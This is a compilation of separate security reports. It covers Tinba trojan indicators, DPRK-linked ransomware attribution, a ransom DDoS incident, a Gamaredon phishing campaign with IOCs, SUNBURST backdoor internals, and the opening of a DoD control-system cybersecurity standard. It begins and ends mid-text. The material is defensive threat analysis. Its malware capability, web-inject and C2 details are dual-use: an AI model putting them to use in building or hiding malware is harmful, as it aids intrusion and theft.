Data\AdobeChk\cof.dat C:\Documents and Settings\[User Name]\Application Data\AdobeChk\cot.dat ``` **Memory Strings:** ``` 0x3b170e (20): POST /re/ HTTP/1.1 0x3b1739 (71): Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US 0x3b1791 (75): User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) 0x3b17ed (57): Content-Type: application/x-www-form-urlencoded Host: 0x3b1842 (18): Content-Length: 0x3b1875 (48): Connection: Close Cache-Control: no-cache 0x3b215d (13): [urlfilter] 0x3b22c4 (13): data_before 0x3b22f5 (10): data_end 0x3b2329 (13): data_inject 0x3b235e (10): data_end 0x3b2392 (12): data_after 0x3b23c6 (10): data_end 0x3b25e3 (14): %SAVEDATA_*=*% 0x3b26aa (11): %BOTDATA_*% 0x3b28e8 (15): X-Frame-Options 0x3b2aab (27): Accept-Encoding: identity 0x3b2adc (50): If-Modified-Since: Thu, 01 Jan 1970 00:00:00 GMT 0x3b2e78 (18): Content-Length: 0x3b2ed8 (20): Transfer-Encoding: 0x3b3038 (19): X-Frame-Options: 0x3b306c (29): X-Content-Security-Policy: ``` **VirusTotal Results** - **tinba.exe** - MD5: faba9ee82dfa2629098c8ef884395d5a - SHA1: c0e40cb29a1e6b5a4174727f49ef871aafb684d5 - SHA256: cbb16b01a8dcf3747a597ceb4176939f83083a6293b60aaca00e040970d63379 - File size: 88.0 KB (90112 bytes) - Detection ratio: 34 / 54 - Analysis date: 2014-07-12 16:31:02 **Antivirus Results:** - Ad-Aware: Trojan.GenericKD.1750488 - AhnLab-V3: Trojan/Win32.Zbot - AntiVir: TR/Crypt.Xpack.71693 - Antiy-AVL: Trojan/Win32.Inject - Avast: Win32:Malware-gen - AVG: Generic_r.DYS - Baidu-International: Trojan.Win32.Tinba.BAX - BitDefender: Trojan.GenericKD.1750488 - Commtouch: W32/Zbot.IWEE-4148 - DrWeb: Trojan.Encoder.682 - ESET-NOD32: Win32/Tinba.AX - F-Prot: W32/Zbot.BZY - F-Secure: Trojan.GenericKD.1750488 - Fortinet: W32/Tinba.AX!tr - GData: Trojan.GenericKD.1750488 - Ikarus: Trojan-Spy.Zbot - Kaspersky: Trojan.Win32.Tinba.bl - Malwarebytes: Trojan.Zbot - Microsoft: Trojan:Win32/Tinba.A - Qihoo-360: Win32/Trojan.Multi.daf - Sophos: Troj/HkMain-AQ - TrendMicro: TROJ_TINBA.TFB **Tags:** - Tinba - Tinybanker
# The Hermit Kingdom’s Ransomware Play In February 2016, news broke about what is now known as the ‘Bangladesh Bank Heist’. Hackers attempted to transfer nearly one billion USD through the SWIFT system towards recipients at other banks. The investigation, performed by several US agencies, led to a North Korean actor, dubbed ‘Hidden Cobra’. Ever since then, the group has been active, compromising numerous victims. One notable case is at a Taiwanese bank where ransomware was used to distract the incident response team, allowing the actor to transfer funds to other bank accounts in the APAC region. Hidden Cobra and other groups named by the industry are part of North Korea’s cyber-army. The cyber-army of North Korea has been divided into several units, all of which have different tasks and report to ‘Bureau (or Lab) 121’. The unit responsible for the attacks on foreign financial systems, including banks and cryptocurrency exchanges, is Unit 180, which is also known as APT38. While domestic nuclear and missile programs are funded with stolen money, the actors of Unit 180 mostly reside in overseas countries such as China, Russia, Malaysia, Thailand, Bangladesh, Indonesia, India, Kenya, and Mozambique. The varying geographical locations are likely an attempt to conceal the unit’s link to the hermit kingdom that is North Korea. It’s also important to note defectors have exposed that obtaining funds for the government is done by more actors than the country’s ‘elite hackers’. Over time we have observed several methods North Korea has used to gain money. Although not as frequently observed as other groups, there have also been attempts made to step into the world of ransomware. While ransomware is mostly a cybercriminal play, in March 2020, a new malware family surfaced called ‘VHD ransomware’. Many in the industry attributed the VHD ransomware to DPRK hackers. It was distributed using the MATA framework, which has been attributed to the hermit kingdom. The ransomware itself contained enough unique artifacts to also link it to said kingdom. Around that time, we conducted joint research regarding code similarity in DPRK’s malware. In this blog, we continue this research by looking at the VHD ransomware’s code-similarity, artifact similarity, graph science, and Bitcoin addresses and transfers. ## Let’s Go Hunting Using the source code of the VHD ransomware family, several interesting function blocks were identified as potential candidates for reuse. Using those blocks as a starting point, a hunt was started from March 2020 onwards to discover related families. The initial results were promising, and with a bit of filtering and the removal of false positives, the following families were identified: - BEAF ransomware - PXJ ransomware - ZZZZ ransomware - CHiCHi ransomware Aside from the code-similarity hunting, reports also mentioned the spread of the ‘Tflower ransomware’ family via the aforementioned MATA framework. Another observation is that the four letters of the ransomware “BEAF” (BEAF is the extension used for the encrypted files) are exactly the same first four bytes of the handshake of APT38’s tool known as Beefeater. ## Code Similarity Using tools like BinDiff, we started to compare the ransomware families from a code perspective. This graph shows three families which share a significant amount of code with the VHD source code. The ZZZZ ransomware is almost an exact clone of the Beaf ransomware family. The Tflower and ChiChi families do share some little code with VHD, but that would be more generic functions than typical shared code and functionality. ## Code Visualization There are several ways of looking at code, one of which entails visualizing the code and comparing the images. One way to visualize data is by creating a Hilbert curve mapping, which is used to map a string of data into an alternate dimensional space. Generating the graphics for the six families results in the following overview. You don’t have to be a malware specialist to immediately recognize that the ZZZ and BEAF Ransomware pictures are almost identical. It also becomes apparent that both Tflower and ChiChi are vastly different when compared to VHD. In the code-similarity comparison between the code blocks, several overlaps were found. Comparing the Hilbert curves of these families, similar patterns are now visualized. While comparing the content of the ransomware notes, the email address Semenov[.]akkim@protonmail[.]com was present in samples of both the ‘CHiCHi’ and ‘ZZZZ’ ransomware families. ## Follow the Money The families we investigated were not widespread and seemed to be directed at specific targets in the APAC region. Besides some reports, not much is known about the victims as there were no leak pages or negotiation chats, which are now common for groups to utilize. To understand if we could discover financial trails with an overlap between the families, we extracted the Bitcoin (BTC) wallet addresses and started tracing and monitoring the transactions. We did not find any overlap in transfer wallets between the families. We did find, however, that the paid ransom amounts were relatively small. For example, a transaction of 2.2 BTC in mid-2020 was worth around 20K USD. It was transferred multiple times through December 2020. At that time, a transaction took place towards a bitcoin exchange to either cash out or exchange for a different and less traceable cryptocurrency. ## Summary Over the last few years, we have followed DPRK attacks on financial institutions. Besides global banks, blockchain providers and users from South Korea were also attacked and infiltrated using spear-phishing emails, fake mobile applications, and even fake companies. Since these attacks were predominantly observed targeting the APAC region with targets in Japan and Malaysia, we anticipate these attacks might have been executed to discover if ransomware is a valuable way of gaining income. We suspect the ransomware families described in this blog are part of more organized attacks. Based on our research, combined intelligence, and observations of the smaller targeted ransomware attacks, Trellix attributes them to DPRK affiliated hackers with high confidence.
# Imperva Mitigates Ransom DDoS Attack Measuring 2.5 Million Requests per Second We are only at the beginning of 2022 and it looks like it is going to be an interesting year for the Distributed Denial of Service (DDoS) landscape. We recently mitigated a ransom DDoS attack on a single website which reached a rate of 2.5 million requests per second (Mrps). And while ransom DDoS attacks are not new, they appear to be evolving and becoming more interesting with time and with each new phase. For example, we’ve seen instances where the ransom note is included in the attack itself embedded into a URL request. ## A ransom note as part of the attack? Really? Yes. Increasingly, we are observing more cases like this where the ransom note has been included as part of the attack itself, perhaps as a reminder to the target to send their bitcoin payment. Of course once the target receives this note the attack is already underway adding a sense of urgency to the threat. In the case of the 2.5 Mrps DDoS attack, the target had received several warning ransom notes before the first attack began. This tactic is not a one-off either. In the same DDoS attack, Imperva mitigated over 12 million such embedded requests targeting random URLs on the same site. The following sinister message was incorporated into one of the URLs targeted. And the threats didn’t stop there. The following day on the same site, Imperva mitigated over 15 million requests this time with the URL containing a different message but using the same scare tactics warning the CEO that they are going to destroy the company’s stock price if they don’t pay up. ## Attack origins To show they mean business the attackers claim responsibility for a previous attack on the service provider Bandwidth, naming themselves the well-known Ransomware as a service (RaaS) operator REvil. It is not clear however whether the threats were really made by the original REvil group or by an imposter. Throughout the course of the same day the targeted company was hit by several DDoS attacks; the largest of which lasted less than one minute and measured up to 2.5 Mrps, setting a new mitigation record for Imperva. Multiple sites from the same company came under attack with one site sustaining an attack lasting around 10 minutes. The attackers applied sophisticated tactics to avert mitigation with the ransom messages and attack vectors changing constantly. At the same time, to shock the target, the payment amounts demanded kept increasing in size. Despite these tactics Imperva successfully mitigated all of the attacks and demonstrated how important it is to have a fast, accurate and automated DDoS solution in place. The story did not end there for the customer as the attacks continued for several days; sometimes lasting up to several hours and in 20 percent of cases reaching a size of between 90 and 750 thousand requests per second (Krps) as the chart below shows. The attacks originated from 34,815 sources and looking at the number of requests per source, there were 2 million requests per IP sent from the top sources during the attack. The top source locations for the 2.5 Mrps attack were Indonesia followed by the United States. And we have seen a pattern emerging of almost identical source locations for different attacks indicating that the same botnet was used many times. ## The botnet We have a strong indication that the Meris botnet played a role in these attacks. Although CVE-2018-14847 was published a while ago, attackers can still take advantage of it. The CVE refers to a MikroTik vulnerability where thousands of internet of things (IoT) devices, in this case a huge number of MikroTik routers, were manipulated to create a botnet network which can still be used to carry out DDoS and other forms of attack. In terms of bandwidth, the results reached a volume of 1.5Gbps of TCP traffic. Despite the changing attack patterns, Imperva successfully mitigated the attacks within seconds using mainly threat intelligence, as the sources were known to us as malicious; and bot protection, as the clients were impersonating a legitimate browser or Google bot. While the largest attack measured 2.5 Mrps, we blocked over 64 million requests in under one minute. ## Repeat performance We have since monitored a repeat of this attack pattern against several other customers. While each of the targets receives a unique bitcoin address they are all part of the same coordinated attack. The types of sites the threat actors are after appear to be business sites focusing on sales and communications. Targets tend to be US- or Europe-based with the one thing they all have in common being that they are all exchange-listed companies and the threat actors use this to their advantage by referring to the potential damage a DDoS attack could do to the company stock price. ## Ransom within a ransom Another example of a threat embedded in the attack itself was found in a GET request sent with a link to a notepad.com note. Another note contains the now familiar pattern of a ransom demand for payment in bitcoin. ## What’s Next? As the REvil threat gang mentioned, we can expect more of the same throughout 2022. If you don’t already have DDoS Protection in place, now is a good time to prepare for a potential attack.
# Primitive Bear (Gamaredon) Targets Ukraine with Timely Themes **Research | April 19, 2021** **by Anomali Threat Research** ## Key Findings - Anomali Threat Research discovered a campaign targeting Ukrainian government officials with malicious files that could be repurposed to target government officials of other countries. - We assess with high confidence that this activity was conducted by the Russia-sponsored cyberespionage group Primitive Bear (Gamaredon). - Primitive Bear was observed distributing .docx files that attempted to download a .dot file via remote templates. - The campaign appears to have taken place from January through at least late March 2021, using decoy documents themed around current events. These documents also showed that Primitive Bear likely used unauthorized access or illicit purchase of private documents prior to their publication. - The final objective of this campaign remains unclear because the remote template domains were down at the time of discovery. ## Overview Anomali Threat Research identified malicious samples that align with the Russia-sponsored cyberespionage group Primitive Bear’s (Gamaredon, Winterflounder) tactics, techniques, and procedures (TTPs). The group was distributing .docx files that attempted to download .dot files from remote templates. The final objective of this campaign remains unclear as the remote template domains were down at the time of discovery. We observed Primitive Bear activity in late 2019 and again in April 2020, during which time they used similar TTPs and Ukrainian government-themed decoys. In those campaigns, Primitive Bear’s decoys loaded a remote template to drop a .dot file that would determine if the compromised machine was worthy of a second-stage payload. Primitive Bear, known primarily to focus on Ukraine, has been very active in 2021. However, the themes of the samples we found, as well as those shared by the security community, could also be used to target multiple former Union of Soviet Socialist Republic (USSR) countries. ## Details Anomali Threat Research found malicious .docx files being distributed by Primitive Bear, likely through spearphishing, that attempted to download remote template .dot files through template injection. Most of the .docx decoy files were written in Ukrainian, with a minority written in Russian, and contained content discussing multiple Ukrainian government agencies, institutions, and public entities, as well as Russian intelligence agencies in the context of occupied Crimea. Primitive Bear was using specific names of individuals and entities in their files, relevant to the January through mid-March 2021 timeframe, to make their malicious files appear more legitimate. This highlights the group’s use of authentic events to craft likely phishing themes more likely to be effective. ### Technical Analysis The .docx files distributed by Primitive Bear used template injection to add a remote domain that contained a .dot (Word template) file. The template injection can be seen with the TargetMode set to “External,” indicating the file was reaching out to a remote location. If the connection was made, the .dot file was subsequently downloaded. The final objective of this campaign remains unclear because the remote template domains were down at the time of discovery, and we encourage the security community to share if discovered. ### Decoy Analysis **Analyzed File** – автореферат Тертична last 8.2.docx **Translated File Name** – Tertychna Abstract last 8.2.docx **SHA-256** – 9b6d89ad4e35ffca32c4f44b75c9cc5dd080fd4ce00a117999c9ad8e231d4418 Tertychna Abstract last 8.2.docx is a 26-page abstract of a Ukrainian dissertation discussing modern relations between Ukraine and Bulgaria. Most of the document is in Ukrainian; however, the last two and one-half pages have English summaries. Tertychna Abstract last 8.2.docx appears to be a shortened version of another Primitive Bear file called дисертація 8.02.21.docx (from Ukrainian: Dissertation 8.02.21.docx), which was also mentioned by the security community. These two documents (автореферат Тертична last 8.2.docx and дисертація 8.02.21.docx) appear to be legitimate documents that were weaponized by Primitive Bear for template injection. The group likely procured them through illicit purchase or previous compromise. We found the full document was published by its author, Anna, on the literature repository site, chtyvo.org.ua. The file was uploaded to the site on March 7, 2021, but both of the analyzed file names suggested a date of February 8, 2021 (8.2.docx) or called it out explicitly. This indicates that Primitive Bear has used access to private Ukrainian documents, weaponized them, and distributed them prior to the authorized publication of said documents. In hindsight, the decision for Primitive Bear to use a Ukrainian and Bulgarian-themed dissertation comes at an interesting time for Russian and Bulgarian relations. This is due to the Bulgarian government arresting six of its own members who were charged with spying for the Russian government on March 19, 2021, according to the Bulgarian prosecutors’ statement. However, Russia is known for combining cyber and real-world operations, and has been using this hybrid warfare to target Georgia in 2008 and Ukraine since at least the 2014 annexation of Crimea. Therefore, it would not be unlikely to think that Primitive Bear was using Bulgaria-themed decoys before the media knew of the events, thus making the information more relevant to Ukrainian officials who knew what was transpiring. **Analyzed File** – ДОПОВІДНА ЗАПСКА.docx **Translated File Name** – REPORT NOTE.docx **SHA-256** – 63da0b2abb744a5c92c3a1fff2c3e5940f5c969890f3f16fd8dca0a1363da494 REPORT NOTE.docx purports to be an internal note by the Prosecutor General’s Office of Ukraine dated February 2021. The file includes pre-trial investigative rulesets regarding suspected terrorists. These fighters, from unrecognized regions of Donetsk People’s Republic (DPR) and Luhansk People’s Republic (LPR), have been accused of fighting against the Ukrainian government. Russia has been the de-facto controller of DPR and LPR since the regions simultaneously declared their independence from Ukraine in 2014, which makes the use of these regions ideal in decoy documents for Primitive Bear. The escalating tensions between Russia and Ukraine in 2021 add incentive for mentioning DPR and LPR. On January 28, 2021, DPR and LPR groups presented a doctrine dubbed “Russian Donbass,” which stated the groups’ collective desire to rejoin Russia “in order to return to our historical roots.” In the subsequent months, European monitors reported an increase in Russian troop movement along the Ukraine-Russia border. Tensions boiled over in the DPR on March 30, 2021, with exchanging artillery and machine-gun fire between the factions resulting in four Ukrainians killed and one wounded. This was another strong example of Primitive Bear samples themed around real-world conflicts before a significant event occurred, a strong indication of potential hybrid warfare. **Analyzed File** – incoming.docx **SHA-256** – 82fe93b52ae5f12fad99fc533324cbf680f5777cc67b9f30dd2addeeee7527f8 The .docx file is a letter allegedly from Emil Variev, a neighbor of Rustem Seytmemetov, in occupied Crimea. He referenced how Russia’s Federal Security Service (FSB) arrested him in 2020 in relation to the Hizb ut-Tahrir case. Rustem Seytmemetov is just one of three individuals who were arrested in what Crimeans refer to as “the so-called third Bakhchisaray Hizb ut-Tahrir case,” and they are expected to remain under arrest until April 22, 2021. While the decoy did not state an intended recipient, the context appears directed towards Ukrainian authorities. This is another example of Primitive Bear using documents to coincide with real-world events. ## Conclusion Primitive Bear is motivated by cyberespionage (data theft, information gathering), and this campaign demonstrates their specific targeting of regional foes with what often appears to be private documents likely obtained by illicit means. We have observed Primitive Bear using malicious .docx files to distribute .dot files for over a year; however, the remote template domains used in this campaign were down at the time of discovery. Therefore, the final payload of this campaign remains unclear at the time of this writing. ## MITRE TTPs - Masquerading - T1036 - Phishing - T1566 - Spearphishing Attachment - T1566.001 - Template Injection - T1221 - User Execution - T1204 - User Execution: Malicious File - T1204.002 ## IOCs **Files** - 82fe93b52ae5f12fad99fc533324cbf680f5777cc67b9f30dd2addeeee7527f8 - 9b6d89ad4e35ffca32c4f44b75c9cc5dd080fd4ce00a117999c9ad8e231d4418 **Domains** - download.logins.online - email-smtp.online - word-expert.online - mail-check.ru **IPs** - 172.67.136.62 - 104.21.48.186 - 185.119.58.61 - 195.161.114.130
# Additional Analysis into the SUNBURST Backdoor **Executive Summary** There has been considerable focus on the recent disclosures associated with SolarWinds, and while existing analysis on the broader campaign has resulted in detection against specific IoCs associated with the Sunburst trojan, the focus within the Advanced Threat Research (ATR) team has been to determine the possibility of additional persistence measures. Our analysis into the backdoor reveals that the level of access lends itself to the assumption that additional persistence mechanisms could have been established and some inferences regarding the intent from adversaries. An interesting observation was the check for the presence of SolarWinds’ Improvement Client executable and its version “3.0.0.382”. The Improvement Client is a program that can collect considerable information such as count of Orion user accounts by authentication method and data about devices and applications monitored. Observation of the HTTP routine was the search for certain keywords in the HTTP traffic that might indicate the adversary was looking into details/access of Cloud and/or wireless networks of their victims. Even if a victim is using a Proxy server with username and password, the backdoor is capable of retrieving that information and using it to build up the connection towards the C2. **Available Resources** Although this analysis will focus on the premise that the backdoor supports the feasibility of establishing additional persistence methods, we recognize the importance of providing assurance regarding coverage against available indicators. To that end, the following resources are available: - KB93861: McAfee coverage for SolarWinds Sunburst Backdoor - SUNBURST Malware and SolarWinds Supply Chain Compromise: Detailing the protection summary, but also how to use MVISION EDR or MAR to search for SUNBURST - MVISION Insights Campaign: SolarWinds Supply Chain Attack Affecting Multiple Global Victims With SUNBURST Backdoor. This resource provides up-to-date tracking on the prevalence of available indicators based on geography and sector of potential targets. Additional resources will become available as analysis both conducted by McAfee researchers and the wider community becomes available. **Backdoor Analysis** There exists excellent analysis from many of our industry peers into the SUNBURST trojan, and the intention here is not to duplicate findings but to provide analysis we have not seen previously covered. The purpose is to enable potential victims to better understand the capabilities of the campaign in an effort to consider the possibility that there are additional persistence mechanisms. For the purposes of this analysis, our focus centered upon the file “SolarWinds.Orion.Core.BusinessLayer.dll”. This particular file, as the name suggests, is associated with the SolarWinds ORION software suite and was modified with a class added containing the backdoor “SunBurst”. A deeper dive into the backdoor reveals that the initial call is to the added class “OrionImprovementBusinessLayer” which has the following functions: The class starts with a check to see if the module is running and, if not, it will start the service and thereafter initiate a period of dormancy. As was detailed by FireEye, this period of sleep can range from minutes up to two weeks. The actual time period of dormancy is dependent on the checks that must be passed from the code, like hash of the Orion process, write-times of files, process running, etc. A sleep period of this length of time is unusual and speaks to a very patient adversary. The most important strings inside the backdoors are encoded with the DeflateStream Class of the .NET’s Compression library together with the base64 encoder. By examining the blocklist, we discover findings that warrant further inspection. First entries are the local IP address ranges and netmasks: - 10.0.0.0 255.0.0.0 - 172.16.0.0 255.240.0.0 - 192.168.0.0 255.255.0.0 Followed by the IPv6 local addresses equivalents: fc00::, fe00::, fec0::, ffc0::, ff00::, ff00:: Next, there is a list of IP addresses and their associated subnet masks. We executed a whois on those IP addresses to get an idea of whom they might belong to. There is no indication as to the reason that the following IPs have been inserted into the blocklist, although the netmasks implemented in certain entries are ‘quite’ specific; therefore, we have to assume the attackers were intentional in their desire to avoid certain targets. Assuming that the victim is not within the block list, the sample will then proceed to create the named pipe 583da945-62af-10e8-4902-a8f205c72b2e. This is done to ensure that only one instance of the backdoor is running. We were able to verify this through replication we carried out within our own environment. When we ran the backdoor, we were able to confirm that this value is hardcoded in the code, and once the dormancy period passed, the service is started and named pipe is created. At this point, the backdoor will also create a unique UserID MD5 value for the system it is installed on. This particular routine will initially read the Device-info of the system but ignore the loopback interfaces. The Device-info will then be combined with the domain name, followed by a value from the registry key (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography). This information is then used to create an MD5 value of that string. The module will start the ‘update’ routine. This routine is a continuous loop designed for verification against unwanted services that could potentially be used against detection of the backdoor. **Information Gathering** The backdoor gathers information from the system. The following information is gathered by a routine called “CollectSystemDescription”, some examples include: - OS version, major/minor – is it 32 or 64 bits - Network configs, info on IP, NetBIOS, IPV6, etc. - Host, SID & Username & System directory. In particular, the SID for the Administrator account is searched for. There exist other subroutines to collect additional data, for example enumerating the information from the network adapters. The backdoor uses the GetNetworkAdapterConfiguration routine. The routine is gathering the following information: In order to check if certain ‘unwanted’ services are running, the backdoor enumerates the services, creates a hash list, and compares them with a hard-coded set of these values. The ‘update’ routine will exit once a ‘block-listed’ process ID is discovered. The backdoor will attempt to stop these services by entering a value in the registry for that service that will disable that service. The update routine will check again and continue this process until all unwanted processes are disabled. Another capability of the backdoor is to start/stop tasks. Other functionalities we observed in the code are: - SetTime - CollectSystemDescription - UploadSystemDescription - GetProcessByDescription - GetFileSystemEntries - WriteFile - FileExists - DeleteFile - GetFileHash - ReadRegistryValue - SetRegistryValue - DeleteRegistryValue - GetRegistrySubKeyAndValueNames - Reboot An interesting observation was the check for the presence of SolarWinds’ Improvement Client executable and its version “3.0.0.382”. The Improvement Client is a program that can collect the following information: - The SWID (SolarWinds ID) associated with any SolarWinds commercial licenses installed - The email address provided to the installer during installation - Unique identifier of the downloaded installer - Versions of all Orion products installed - Operating system version - CPU description and count - Physical memory installed and percent used - Time zone - Dates when you logged in to the Orion website - Licensing information of other SolarWinds Orion products locally installed - Row counts for database tables - Count of monitored nodes by polling protocol - Count of Orion user accounts by authentication method - Network discovery scheduling information (not results) - Data about devices and applications monitored: - Vendor - Model - OS/Firmware version - Count - Abstract configuration information, such as number of websites hosted - Data about the SolarWinds product: - Feature usage statistics - Performance statistics - Hardware and OS platform description Another observation of the HTTP routine was the search for certain keywords in the HTTP traffic that might indicate the adversary was looking into details/access of cloud and/or wireless networks of their victims by using the SolarWinds’ modules that are installed to monitor/administer these kinds of instances. Managing the network using SolarWinds’ Orion is executed by using a browser and localhost that is hosting the web server. Reading out the certificate values and searching for these keywords in the HTTP traffic would have gained this information. **Network / DGA** After all checks and routines have passed, the backdoor will use a domain generating algorithm (DGA) to generate a domain. When the domain is successfully reached, the routine called ‘Update’ contains a part that will act on this and start a new thread firing off the routine “HttpHelper.Initialize”. The code shows that when the DNS record equals the domain and can be reached, the new thread will start in the background. The ‘HttpHelper’ class/routine is responsible for all the C2 communications. Even if a victim is using a Proxy server with username and password, the backdoor is capable of retrieving that information and using it to build up the connection towards the C2. It then uses a routine called “IWebProxy GetWebProxy” for that. The DGA-generated C2s are subdomains of: avsvmcloud[.]com. An example of how these domains would look: - 02m6hcopd17p6h450gt3.appsync-api.us-west-2.avsvmcloud.com - 039n5tnndkhrfn5cun0y0sz02hij0b12.appsync-api.us-west-2.avsvmcloud.com - 043o9vacvthf0v95t81l.appsync-api.us-east-2.avsvmcloud.com - 04jrge684mgk4eq8m8adfg7.appsync-api.us-east-2.avsvmcloud.com - 04r0rndp6aom5fq5g6p1.appsync-api.us-west-2.avsvmcloud.com - 04spiistorug1jq5o6o0.appsync-api.us-west-2.avsvmcloud.com Inspecting the CNAMEs from the DGA-generated C2s, we observed the following domain names: - freescanonline[.]com - deftsecurity[.]com - thedoccloud[.]com - websitetheme[.]com - highdatabase[.]com - incomeupdate[.]com - databasegalore[.]com - panhardware[.]com - zupertech[.]com - virtualdataserver[.]com - digitalcollege[.]org In the aforementioned HTTP handler code, we discovered paths that might be installed on the C2s for different functions: - swip/upd/ - swip/Events - swip/Upload.ashx Once the backdoor is connected, depending on the objectives from the adversaries, multiple actions can be executed including the usage of multiple payloads that can be injected into memory. At the time of writing, details regarding the ‘killswitch’ against the above domain will prevent this particular backdoor from being operational; however, for the purpose of this analysis, it demonstrates the level of access afforded to attackers. While the efforts to sinkhole the domain are to be applauded, organizations that have been able to identify indicators of SUNBURST within their environment are strongly encouraged to carry out additional measures to provide themselves assurances that further persistent mechanisms have not been deployed. **Christiaan Beek** Lead Scientist & Sr. Principal Engineer Christiaan Beek is the Lead Scientist & Sr. Principal Engineer of the Enterprise Office of the CTO. He is leading the strategic threat intelligence research with a focus on inventing...
# UFC 4-010-06 ## 19 September 2016 ### Change 1, 18 January 2017 ## UNIFIED FACILITIES CRITERIA (UFC) ### CYBERSECURITY OF FACILITY-RELATED CONTROL SYSTEMS Any copyrighted material included in this UFC is identified at its point of use. Use of the copyrighted material apart from this UFC must have the permission of the copyright holder. U.S. ARMY CORPS OF ENGINEERS NAVAL FACILITIES ENGINEERING COMMAND (Preparing Activity) AIR FORCE CIVIL ENGINEER CENTER ### Record of Changes | Change No. | Date | Location | |------------|--------------|--------------------------------------------------------------------------| | 1 | 01/19/2017 | Revised paragraphs 3-3, 3-6 (second bullet), 3-6.2, 4-3 (second to last bullet), and 5-2.2. | ## FOREWORD The Unified Facilities Criteria (UFC) system is prescribed by MIL-STD 3007 and provides planning, design, construction, sustainment, restoration, and modernization criteria, and applies to the Military Departments, the Defense Agencies, and the DoD Field Activities in accordance with USD (AT&L) Memorandum dated 29 May 2002. UFC will be used for all DoD projects and work for other customers where appropriate. All construction outside of the United States is also governed by Status of Forces Agreements (SOFA), Host Nation Funded Construction Agreements (HNFA), and in some instances, Bilateral Infrastructure Agreements (BIA). Therefore, the acquisition team must ensure compliance with the most stringent of the UFC, the SOFA, the HNFA, and the BIA, as applicable. UFC are living documents and will be periodically reviewed, updated, and made available to users as part of the Services’ responsibility for providing technical criteria for military construction. Headquarters, U.S. Army Corps of Engineers (HQUSACE), Naval Facilities Engineering Command (NAVFAC), and Air Force Civil Engineer Center (AFCEC) are responsible for administration of the UFC system. Defense agencies should contact the preparing service for document interpretation and improvements. Technical content of UFC is the responsibility of the cognizant DoD working group. Recommended changes with supporting rationale should be sent to the respective service proponent office by the following electronic form: Criteria Change Request. The form is also accessible from the Internet sites listed below. UFC are effective upon issuance and are distributed only in electronic media from the following source: - Whole Building Design Guide web site. Hard copies of UFC printed from electronic media should be checked against the current electronic version prior to use to ensure that they are current. ### AUTHORIZED BY: JAMES C. DALTON, P.E. Chief, Engineering and Construction U.S. Army Corps of Engineers JOSEPH E. GOTT, P.E. Chief Engineer Naval Facilities Engineering Command EDWIN H. OSHIBA, SES, DAF Deputy Director of Civil Engineers DCS/Logistics, Engineering & Force Protection MICHAEL McANDREW DASD (Facilities Investment and Management) Office of the Assistant Secretary of Defense (Energy, Installations, and Environment) ## UNIFIED FACILITIES CRITERIA (UFC) ### NEW DOCUMENT SUMMARY SHEET **Document:** UFC 4-010-06, Cybersecurity of Facility-Related Control Systems **Superseding:** None **Description:** UFC 4-010-06 provides requirements for incorporating cybersecurity into the design of facility-related control systems. **Justification:** DoDI 8500.01, Cybersecurity requires the implementation of a “multi-leveled cybersecurity risk management process… as described in National Institute of Standards and Technology (NIST) Special Publication (SP) 800-39 and the Committee on National Security Systems (CNSS) Policy 22.” It further requires the use of NIST SP 800-37, and a transition to CNSSI No. 1253 and NIST SP 800-53. For control systems, NIST SP 800-82 R2 Appendix G is used as the overlay under CNSSI No. 1253. This UFC provides criteria for the inclusion of cybersecurity in the design of control systems in order to address appropriate Risk Management Framework (RMF) security controls during design and subsequent construction. **Impact:** While the inclusion of cybersecurity during the design and construction of control systems will increase the cost of both design and construction, it is more cost-effective to implement these security controls starting at design than to implement them on a designed and installed system. Historically, control systems have not included these cybersecurity requirements, so the addition of these cybersecurity requirements will increase both cost and security. The increase in cost will be lower than the increase in cost of applying these requirements after design. **Note:** This UFC is based on NIST SP 800-53 R4 and NIST SP 800-82 R2. As new versions of NIST publications are issued, guidance will be posted on the RMF Knowledge Service and will be included in updates to this UFC. ## CHAPTER 1 INTRODUCTION ### 1-1 BACKGROUND A control system (CS) typically consists of networked digital controllers and a user interface which are used to monitor, and generally also to control equipment. There are many types of control systems ranging from building control systems to manufacturing control systems to weapon control systems, all with different names and terminology. Facility-related control systems are a subset of control systems that are used to monitor and control equipment and systems related to DoD real property facilities (e.g., building control systems, utility control systems, electronic security systems, and fire and life safety systems). The Risk Management Framework (RMF) is the DoD process for applying cybersecurity to information technology (IT), including control systems. The RMF categorizes systems by the impact the system can have on organizational mission using HIGH, MODERATE, and LOW impact levels. The RMF is further described in CHAPTER 2 and APPENDIX C. ### 1-2 PURPOSE AND SCOPE This UFC describes requirements for incorporating cybersecurity in the design of all facility-related control systems. It defines a process based on the Risk Management Framework suitable for control systems of any impact rating, and provides specific guidance suitable for control systems assigned LOW or MODERATE impact level. ### 1-3 APPLICABILITY This UFC applies to all planning, design and construction, renovation, and repair of new and existing facilities and installations that result in DoD real property assets, regardless of funding source. MODERATE and HIGH impact systems generally require more expertise and attention to detail than a UFC can provide. Design of MODERATE or HIGH impact systems will typically require additional customized requirements to achieve appropriate levels of cybersecurity and design of such systems should be coordinated with the points of contact provided in Paragraph 1-6. In defining specific requirements for LOW or MODERATE systems, this UFC assumes the control system is being implemented on a DoD Installation. Systems not being implemented on a DoD Installation will require modifications to the requirements included in this UFC. ### 1-4 GENERAL BUILDING REQUIREMENTS Comply with UFC 1-200-01, DoD Building Code (General Building Requirements). UFC 1-200-01 provides applicability of model building codes and government unique criteria for typical design disciplines and building systems, as well as for accessibility, antiterrorism, security, high performance and sustainability requirements, and safety. Use this UFC in addition to UFC 1-200-01 and the UFCs and government criteria referenced therein. ### 1-5 ORGANIZATION CHAPTER 2 provides an overview of the RMF as it applies to control systems, control system architecture and the cybersecurity approach to control systems. CHAPTER 3 defines a 5-step approach to incorporating cybersecurity into the design of control systems. CHAPTER 4 defines minimum design requirements for control systems to be implemented in addition to the specific requirements identified through the 5-step process described in CHAPTER 3. CHAPTER 5 defines the submittal requirements for documenting cybersecurity aspects of control system design. APPENDIX C provides an overview of the Risk Management Framework as it pertains to control systems. APPENDIX E describes the 5-Level architecture for control systems. APPENDIX F discusses considerations in the integration of critical building systems into a non-critical UMCS. APPENDIX G provides guidance for security control families, and individual security controls. APPENDIX H categorizes CCIs by impact and responsibility. ### 1-6 CYBERSECURITY POINTS OF CONTACT BY SERVICE Cybersecurity policies and approaches are evolving, and projects may have unique requirements. Assistance for control system cybersecurity is available from the following Service organizations: - Army: ICS Cybersecurity Center of Expertise, Huntsville Engineering and Support Center - Navy: Naval Facilities Engineering Command, Command Information Office (CIO) - Air Force: Civil Engineer 